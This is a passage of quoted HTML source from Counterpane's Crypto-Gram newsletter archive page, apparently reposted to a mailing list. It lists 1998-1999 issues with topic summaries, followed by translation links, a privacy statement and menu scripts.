> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9903.html">15 Mar 1999</a></TH>
> <TD class="black-text">Security hole in IE/Outlook and Office, AES news, RSA-140 factored</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9902.html">15 Feb 1999</a></TH>
> <TD class="black-text">Snake oil, NSA and crypto export, WinXFiles, back doors, Intel's processor ID</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9901.html">15 Jan 1999</a></TH>
> <TD class="black-text">1998 year-in-review, clueless agents, Cayley-Purser</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9812.html">15 Dec 1998</a></TH>
> <TD class="black-text">Cracking contests, recognizing plaintext, zip disks, Commerce Dept. committee</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9811.html">15 Nov 1998</a></TH>
> <TD class="black-text">Electronic commerce, micro locks, copy protection, more on steganography</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9810.html">15 Oct 1998</a></TH>
> <TD class="black-text">Steganography, TriStrata, Rapid Remote, memo to amateur cipher designers</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9809.html">15 Sep 1998</a></TH>
> <TD class="black-text">Cramer-Shoup, impossible cryptanalysis, street performer, Private Doorbell</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9808.html">15 Aug 1998</a></TH>
> <TD><P class="black-text">Hardware DES cracker, KEA, chosen protocol attack, biometrics</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9807.html">15 Jul 1998</a></TH>
> <TD class="black-text">Breaking RSA, declassifying Skipjack, secure audit logs, WIPO</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9806.html">15 Jun 1998</a></TH>
> <TD class="black-text">Side channel attacks, risks of key escrow, pseudo-random number generators</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9805.html">15 May 1998</a></TH>
> <TD class="black-text">AES, secret story of non-secret encryption, conditional purchase orders</TD>
> </TR>
> <TR><TD colspan=2>
>
> <P class="black-text"><BR><STRONG class="black-bold-text"><a name="trans">Translations</a></STRONG>
> <BR>Kriptópolis translates Crypto-Gram into <a href="http://www.kriptopolis.com/index.php?id=C0_12_1">Spanish</a>. <a href="http://www.communicationvalley.it/crypto-gram.html">Italian</a> translations, by Communication Valley S.P.A., are available on the web or as a mailing list. Holger Hasselbach has translated several issues of Crypto-Gram into <a href="http://www.galad.com/extras/cg/cg.htm">German</a>, and Fernandes Gilbert has translated some issues into <a href="http://perso.wanadoo.fr/gilbert.fernandes/cryptogram.html">French</a>.
>
> <P class="black-text"><STRONG class="black-bold-text"><a name="privacy">Privacy Statement</a></STRONG>
> <BR>Counterpane Internet Security, Inc. and Counterpane Labs will not use the Crypto-Gram mailing list for any other purpose than e-mailing Crypto-Gram. We will not use the mailing list for company marketing, nor will we sell the list to any third parties.
>
> </TD></TR>
> </TABLE>
>
>
>
>
>
>
>
> </td>
> <td width="10"> </td>
> </tr>
> <!---- articles ------------------------->
> </table>
> <img src="images/clear.gif" alt="" border="0" width="1" height="21"><br>
> <a href="#" onclick="scrollTo(0,0)"><img src="images/back_to_top.gif" alt="TOP" border="0" width="27" height="9"></a></td>
> <td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" width="1" height="1"></td>
> </tr>
> </table>
> <table cellpadding="0" cellspacing="0" border="0" width="404">
> <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" width="404" height="1"></td></tr>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="17"></td></tr>
> <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" width="404" height="1"></td></tr>
> <tr><td class="black-text">Copyright Counterpane Internet Security, Inc., 2003<BR>
> <a href="permiss.html">Reprint Permission</a></td></tr>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="50"></td></tr>
> </table>
>
> <!-------end of middle column------------------->
> </td>
>
> </tr>
> </table>
>
> <!-------end of global table------------------->
>
>
>
>
>
>
>
> <!-- dropdown menus -->
>
> <div id="menuContact" onMouseOver="menuOn('menuContact')" onMouseOut="overChecker('menuContact')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuContact');}
> function onMouseOut() { overChecker('menuContact')}
> </script>
> <a href="cis-contact.html" onmouseover="rollOn('contactnav_5_contact','menuContact')" onmouseout="rollOff('contactnav_5_contact','menuContact')"><img src="images/contactnav_5_contact.gif" alt="Contact" width=179 height=22 border="0" name="contactnav_5_contact"></a></div>
>
> <div id="menuSite" onMouseOver="menuOn('menuSite')" onMouseOut="overChecker('menuSite')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuSite');}
> function onMouseOut() { overChecker('menuSite')}
> </script>
> <a href="index.html" onmouseover="rollOn('sitenav_r_home','menuSite')" onmouseout="rollOff('sitenav_r_home','menuSite')"><img src="images/sitenav_r_home.gif" alt="Home" width=179 height=18 border="0" name="sitenav_r_home"></a><br>
> <a href="sitemap.html" onmouseover="rollOn('sitenav_r_sitemap','menuSite')" onmouseout="rollOff('sitenav_r_sitemap','menuSite')"><img src="images/sitenav_r_sitemap.gif" alt="Site Map" width=179 height=18 border="0" name="sitenav_r_sitemap"></a><br>
> <a href="cissearch.html" onmouseover="rollOn('sitenav_r_search','menuSite')" onmouseout="rollOff('sitenav_r_search','menuSite')"><img src="images/sitenav_r_search.gif" alt="Search" width=179 height=18 border="0" name="sitenav_r_search"></a><br>
> <a href="https://www.counterpane.com/ccrp/" onmouseover="rollOn('sitenav_r_var','menuSite')" onmouseout="rollOff('sitenav_r_var','menuSite')"><img src="images/sitenav_r_var.gif" alt="VAR-only site" width=179 height=22 border="0" name="sitenav_r_var"></a></div>
>
> <div id="menuLibrary" onMouseOver="menuOn('menuLibrary')" onMouseOut="overChecker('menuLibrary')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuLibrary');}
> function onMouseOut() { overChecker('menuLibrary')}
> </script>
> <a href="literature.html" onmouseover="rollOn('librarynav_2_literature','menuLibrary')" onmouseout="rollOff('librarynav_2_literature','menuLibrary')"><img src="images/librarynav_2_literature.gif" alt="Counterpane Literature" width=179 height=18 border="0" name="librarynav_2_literature"></a><br>
> <a href="log-analysis.html" onmouseover="rollOn('librarynav_2_log','menuLibrary')" onmouseout="rollOff('librarynav_2_log','menuLibrary')"><img src="images/librarynav_2_log.gif" alt="Log Analysis Resources" width=179 height=18 border="0" name="librarynav_2_log"></a><br>
> <a href="publish.html" onmouseover="rollOn('librarynav_2_labs','menuLibrary')" onmouseout="rollOff('librarynav_2_labs','menuLibrary')"><img src="images/librarynav_2_labs.gif" alt="Counterpane Labs Publications" width=179 height=18 border="0" name="librarynav_2_labs"></a><br>
> <a href="crypto-gram.html" onmouseover="rollOn('librarynav_r_crypto','menuLibrary')" onmouseout="rollOff('librarynav_r_crypto','menuLibrary')"><img src="images/librarynav_r_crypto.gif" alt="Crypto-Gram" width=179 height=18 border="0" name="librarynav_r_crypto"></a><br>
> <a href="book-beyondfear.html" onmouseover="rollOn('librarynav_4_beyond_fear','menuLibrary')" onmouseout="rollOff('librarynav_4_beyond_fear','menuLibrary')"><img src="images/librarynav_4_beyond_fear.gif" alt="Beyond Fear" width=179 height=18 border="0" name="librarynav_4_beyond_fear"></a><br>
> <a href="sandl.html" onmouseover="rollOn('librarynav_r_sandl','menuLibrary')" onmouseout="rollOff('librarynav_r_sandl','menuLibrary')"><img src="images/librarynav_r_sandl.gif" alt="Secrets and Lies" width=179 height=22 border="0" name="librarynav_r_sandl"></a>
> </div>
>
> <div id="menuNews" onMouseOver="menuOn('menuNews')" onMouseOut="overChecker('menuNews')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuNews');}
> function onMouseOut() { overChecker('menuNews')}
> </script>
> <a href="cisnews.html" onmouseover="rollOn('newsnav_2_clip','menuNews')" onmouseout="rollOff('newsnav_2_clip','menuNews')"><img src="images/newsnav_2_clip.gif" alt="Press Clippings" width=179 height=18 border="0" name="newsnav_2_clip"></a><br>
> <a href="pressrel.html" onmouseover="rollOn('newsnav_2_release','menuNews')" onmouseout="rollOff('newsnav_2_release','menuNews')"><img src="images/newsnav_2_release.gif" alt="Press Releases" width=179 height=18 border="0" name="newsnav_2_release"></a><br>
> <a href="analyst.html" onmouseover="rollOn('newsnav_2_analyst','menuNews')" onmouseout="rollOff('newsnav_2_analyst','menuNews')"><img src="images/newsnav_2_analyst.gif" alt="Analyst Comments" width=179 height=18 border="0" name="newsnav_2_analyst"></a><br>
> <a href="alerts.html" onmouseover="rollOn('newsnav_2_alerts','menuNews')" onmouseout="rollOff('newsnav_2_alerts','menuNews')"><img src="images/newsnav_2_alerts.gif" alt="Alerts" width=179 height=18 border="0" name="newsnav_2_alerts"></a><br>
> <a href="conf.html" onmouseover="rollOn('newsnav_2_calendar','menuNews')" onmouseout="rollOff('newsnav_2_calendar','menuNews')"><img src="images/newsnav_2_calendar.gif" alt="Calendar" width=179 height=22 border="0" name="newsnav_2_calendar"></a></div>
>
> <div id="menuCustomers" onMouseOver="menuOn('menuCustomers')" onMouseOut="overChecker('menuCustomers')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuCustomers');}
> function onMouseOut() { overChecker('menuCustomers')}
> </script>
> <a href="customers.html" onmouseover="rollOn('customersnav_5_customers','menuCustomers')" onmouseout="rollOff('newsnav_5_customers','menuCustomers')"><img src="images/customersnav_5_customers.gif" alt="Customers" width=179 height=22 border="0" name="customersnav_5_customers"></a></div>
>
> <div id="menuServices" onMouseOver="menuOn('menuServices')" onMouseOut="overChecker('menuServices')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuServices');}
> function onMouseOut() { overChecker('menuServices')}
> </script>
> <a href="overview.html" onmouseover="rollOn('servicesnav_4_suite','menuServices')" onmouseout="rollOff('servicesnav_4_suite','menuServices')"><img src="images/servicesnav_4_suite.gif" alt="Enterprise Protection Suite" width=179 height=18 border="0" name="servicesnav_4_suite"></a><br>
> <a href="services-msm.html" onmouseover="rollOn('servicesnav_4_msm','menuServices')" onmouseout="rollOff('servicesnav_4_msm','menuServices')"><img src="images/servicesnav_4_msm.gif" alt="Managed Security Monitoring" width=179 height=18 border="0" name="servicesnav_4_msm"></a><br>
> <a href="response.html" onmouseover="rollOn('servicesnav_4_response','menuServices')" onmouseout="rollOff('servicesnav_4_response','menuServices')"><img src="images/servicesnav_4_response.gif" alt="Active Response" width=179 height=18 border="0" name="servicesnav_4_response"></a><br>
> <a href="device.html" onmouseover="rollOn('servicesnav_4_device','menuServices')" onmouseout="rollOff('servicesnav_4_device','menuServices')"><img src="images/servicesnav_4_device.gif" alt="Device Management" width=179 height=18 border="0" name="servicesnav_4_device"></a><br>
> <a href="scanning.html" onmouseover="rollOn('servicesnav_4_scanning','menuServices')" onmouseout="rollOff('servicesnav_4_scanning','menuServices')"><img src="images/servicesnav_4_scanning.gif" alt="Managed Vulnerability Scanning" width=179 height=18 border="0" name="servicesnav_4_scanning"></a><br>
> <a href="consulting.html" onmouseover="rollOn('servicesnav_5_consulting','menuServices')" onmouseout="rollOff('servicesnav_5_consulting','menuServices')"><img src="images/servicesnav_5_consulting.gif" alt="Security Consulting" width=179 height=18 border="0" name="servicesnav_5_consulting"></a><br>
> <a href="labs.html" onmouseover="rollOn('servicesnav_5_labs','menuServices')" onmouseout="rollOff('servicesnav_5_labs','menuServices')"><img src="images/servicesnav_5_labs.gif" alt="Counterpane Labs" width=179 height=22 border="0" name="servicesnav_5_labs"></a></div>
>
> <div id="menuCompany" onMouseOver="menuOn('menuCompany')" onMouseOut="overChecker('menuCompany')">
> <script language="JavaScript">
> function onMouseOver() { menuOn('menuCompany');}
> function onMouseOut() { overChecker('menuCompany')}
> </script>
> <a href="background.html" onmouseover="rollOn('companynav_4_background','menuCompany')" onmouseout="rollOff('companynav_4_background','menuCompany')"><img src="images/companynav_4_background.gif" alt="Background" width=179 height=18 border="0" name="companynav_4_background"></a><br>
> <a href="team.html" onmouseover="rollOn('companynav_5_team','menuCompany')" onmouseout="rollOff('companynav_5_team','menuCompany')"><img src="images/companynav_5_team.gif" alt="Our Team" width=179 height=18 border="0" name="companynav_5_team"></a><br>
> <a href="jobs.html" onmouseover="rollOn('companynav_4_careers','menuCompany')" onmouseout="rollOff('companynav_4_careers','menuCompany')"><img src="images/companynav_4_careers.gif" alt="Careers" width=179 height=18 border="0" name="companynav_4_careers"></a><br>
> <a href="investors.html" onmouseover="rollOn('companynav_4_investors','menuCompany')" onmouseout="rollOff('companynav_4_investors','menuCompany')"><img src="images/companynav_4_investors.gif" alt="Investors" width=179 height=18 border="0" name="companynav_4_investors"></a><br>
> <a href="partners.html" onmouseover="rollOn('companynav_5_partners','menuCompany')" onmouseout="rollOff('companynav_5_partners','menuCompany')"><img src="images/companynav_5_partners.gif" alt="Partners" width=179 height=22 border="0" name="companynav_5_partners"></a></div>
> <!-- end of dropdown menus -->
>
>
>
>
>
> </body>
> </html>
Powered by blists - more mailing lists